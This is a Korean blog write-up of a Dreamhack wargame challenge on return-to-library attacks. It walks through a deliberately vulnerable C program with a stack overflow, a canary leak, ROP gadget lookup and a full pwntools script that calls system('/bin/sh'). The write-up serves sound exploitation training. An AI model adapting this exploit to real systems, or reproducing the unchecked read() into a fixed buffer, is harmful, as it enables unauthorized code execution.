[Dreamhack] Bypass NX & ASLR: 3 - Return to Library

securitykss·2022년 11월 3일
0

Pwnable 강의(dreamhack)

목록 보기
19/58
post-thumbnail

1. Description

2. Check

2.1 C code

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

code description

전역 상수인 binsh이 선언되어 있다. 이는 코드 영역에 있다.

main():

setvbuf로 stdin, stout을 초기화 시켜준다.

system함수를 호출한 모습을 확인할 수 있다.

buf에 read함수로 0x100만큼 입력을 받는다.

buf를 출력해 준다.

그 후 다시 buf를 0x100만큼 입력을 받는다.

2.2 file

파일: ELF 64-bit 파일

호출 규약: SYSV

linking 방식: dynamically linked -> plt와 got를 사용한다.

2.3 checksec

Canary found: canary가 존재

NX enabled: NX가 걸려있으므로 heap, stack 영역에서 실행권한이 없다.

Partial RELRO: got영역에 쓰기 권한이 있다.

3. Design

첫번째 입력할 때 Canary를 leak을 한다.

두번째 입력 때, dummy값과, 위에서 구한 canary값을 통해 return address를 overwrite할 수 있도록 하자.

그리고 system 함수는 한 번 호출이 되어서, resolve가 되어 got에 system 함수의 실제 주소가 쓰여있다.

따라서 system 함수의 plt를 다시 호출하면, 바로 참조가 가능하므로 이를 이용해 system('/bin/sh')을 하게 되면 exploit에 성공할 것이다.

4. Exploit

4.1 canary leak

canary 주소가 [rbp-0x8]에 있다.

그리고 read를 호출할 때 두번쨰 인자인 rsi가 [rbp-0x40]이므로, buf의 공간은 [rbp-0x40]임을 알 수 있다.

그렇다면, buf와 canary의 주소가 0x38임을 알 수 있고,

입력할 때, buf에 0x39만큼(canary의 마지막 1byte는 NULL) 입력하면, canary값을 leak할 수 있다.

4.2 binsh 주소 찾기

pwndbg로 ' search /bin/sh'을 찾으면 된다.

rtl의 코드 영역에서 찾을 수 있었다.

/bin/sh 주소는 0x400874이다.

4.3 system 함수

system함수는 위에서 한번 사용을 했기 때문에 바로 참조가 가능할 수 있음을 언급했었다.

따라서 system함수의 plt 주소를 호출하면, plt에서 라이브러리의 system함수의 주소를 바로 호출한다.

pwndbg에서 system함수의 plt 주소를 알아낸 모습이다.

이렇게 system('/bin/sh')을 호출할 수 있는 주소들을 모두 구했다.

4.4 return gadget 찾기

하지만, system('/bin/sh')을 호출할 수 있는 주소들을 모두 구했다고 해서 바로 호출이 가능한 것이 아니다.

system 함수를 호출할 수 있는 형태를 갖춰야지만 호출이 가능하다.

함수를 호출할 수 있는 형태를 갖추기 위해 return gadget을 활용해야만 한다.

gadget은 코드 조각을 의미하고, return gadget은 ret으로 끝나는 코드 조각이다.

system('/bin/sh') 같은 경우는 인자로 사용되는 rdi와, system함수로 return할 수 있는 ret 형태의 gadget이 필요하다.

따라서 pop rdi ; ret을 찾아야 한다.

ROPgadget을 활용해서 pop rdi ; ret을 찾아보자.

return gadget은 0x400853임을 확인할 수 있다.

4.5 vulnerability analysis & exploit design

canary를 leak할 수 있었고, NX로 인해 stack에서 실행권한이 없기에 shellcode를 실행하지 못한다.

하지만, C code에서 system함수를 호출한 것을 활용해

system함수의 실제주소가 got에 있으므로, system함수의 plt를 호출 할 때, 바로 참조가 가능하므로,

return gadget을 활용해 return address를 Overwrite하고

system함수의 plt를 재호출해서 /bin/sh을 실행하면 exploit이 성공할 수 있다.

4.6 exploit code

from pwn import *

p = process('./rtl')
#p = remote('서버', 포트)
e = ELF('./rtl')

# 1. canary leack
payload = b'A'*0x39
p.sendafter("Buf: ", payload)
p.recvuntil(payload)

canary = u64(b'\x00' + p.recvn(7))

# 2. exploit
binsh = 0x400874
pop_rdi = 0x400853
ret = 0x400285
systemplt = e.plt["system"]

payload = b'A'*0x38 + p64(canary) + b'B'*0x8		# dummy + canary + sfp
payload += p64(ret)									# padding값, 아무 의미가 없는 gadget
payload += p64(pop_rdi)								# return address overwrite
payload += p64(binsh)								# /bin/sh
payload += p64(systemplt)							# system

pause()
p.sendafter("Buf: ", payload)

p.interactive()

padding을 하는 이유는, system은 16bytes 단위로 읽고 해석하기 때문에 넣어준다.

4.7 exploit result

exploit에 성공한 모습을 확인 할 수 있다.

마치며

이렇게 Return to Library 공격기법에 대해 알아보았다.

이번 시간에 배운 return gadget을 활용하여

다음 시간엔 Return Oriented Programming 공격기법에 대해 알아보자.

Reference

https://dreamhack.io/wargame/challenges/353/ (문제 출처)

profile
보안 공부를 하는 학생입니다.

0개의 댓글